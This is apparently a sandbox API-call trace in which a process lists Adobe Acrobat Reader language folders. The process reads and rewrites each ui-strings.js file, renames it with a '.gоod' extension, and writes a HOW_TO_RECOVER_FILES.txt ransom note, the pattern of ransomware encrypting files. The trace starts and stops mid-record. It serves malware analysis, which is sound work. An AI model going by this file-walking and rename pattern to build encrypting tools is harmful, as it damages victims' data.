lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.144] GetFileType (hFile=0x828) returned 0x1 [0256.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec860) returned 1 [0256.144] GetFileType (hFile=0x828) returned 0x1 [0256.144] WriteFile (in: hFile=0x828, lpBuffer=0x3bd4a40*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x208ec8d8, lpOverlapped=0x0 | out: lpBuffer=0x3bd4a40*, lpNumberOfBytesWritten=0x208ec8d8*=0x460, lpOverlapped=0x0) returned 1 [0256.144] CloseHandle (hObject=0x828) returned 1 [0256.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ec570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0256.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ec570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x83 [0256.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208eca00) returned 1 [0256.145] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ecae0 | out: lpFileInformation=0x208ecae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94e28810, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1 [0256.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec9c0) returned 1 [0256.145] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js.gоod")) returned 1 [0256.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0256.146] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae", lpFilePart=0x0) returned 0x76 [0256.146] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0256.149] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.149] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.149] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0256.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0256.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0256.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0256.149] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae", lpFilePart=0x0) returned 0x76 [0256.149] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0256.150] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.150] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.150] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0256.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0256.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0256.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0256.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0256.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.151] GetFileType (hFile=0x828) returned 0x1 [0256.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0256.151] GetFileType (hFile=0x828) returned 0x1 [0256.152] WriteFile (in: hFile=0x828, lpBuffer=0x3be6948*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3be6948*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0256.152] CloseHandle (hObject=0x828) returned 1 [0256.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0256.152] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es", lpFilePart=0x0) returned 0x76 [0256.152] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0256.154] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.154] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.154] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.154] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0256.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0256.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0256.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0256.154] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es", lpFilePart=0x0) returned 0x76 [0256.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0256.154] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.155] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.155] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.155] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0256.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0256.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0256.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0256.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0256.155] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3bf6820 | out: lpFileInformation=0x3bf6820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d)) returned 1 [0256.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0256.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0256.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0256.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.155] GetFileType (hFile=0x828) returned 0x1 [0256.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0256.156] GetFileType (hFile=0x828) returned 0x1 [0256.156] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x46d [0256.156] ReadFile (in: hFile=0x828, lpBuffer=0x3bf7038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3bf7038*, lpNumberOfBytesRead=0x208ebf98*=0x46d, lpOverlapped=0x0) returned 1 [0256.156] CloseHandle (hObject=0x828) returned 1 [0257.205] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0257.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.206] GetFileType (hFile=0x808) returned 0x1 [0257.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0257.206] GetFileType (hFile=0x808) returned 0x1 [0257.206] WriteFile (in: hFile=0x808, lpBuffer=0x403ba20*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x403ba20*, lpNumberOfBytesWritten=0x208ebea8*=0x470, lpOverlapped=0x0) returned 1 [0257.206] CloseHandle (hObject=0x808) returned 1 [0257.206] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.206] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0257.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0257.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9584a9e7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0257.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0257.207] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\ui-strings.js.gоod")) returned 1 [0257.208] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0257.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0257.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0257.208] GetFileType (hFile=0x808) returned 0x1 [0257.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0257.209] GetFileType (hFile=0x808) returned 0x1 [0257.209] WriteFile (in: hFile=0x808, lpBuffer=0x403f320*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x403f320*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0257.210] CloseHandle (hObject=0x808) returned 1 [0257.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0257.211] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz", lpFilePart=0x0) returned 0x76 [0257.211] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0257.252] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, 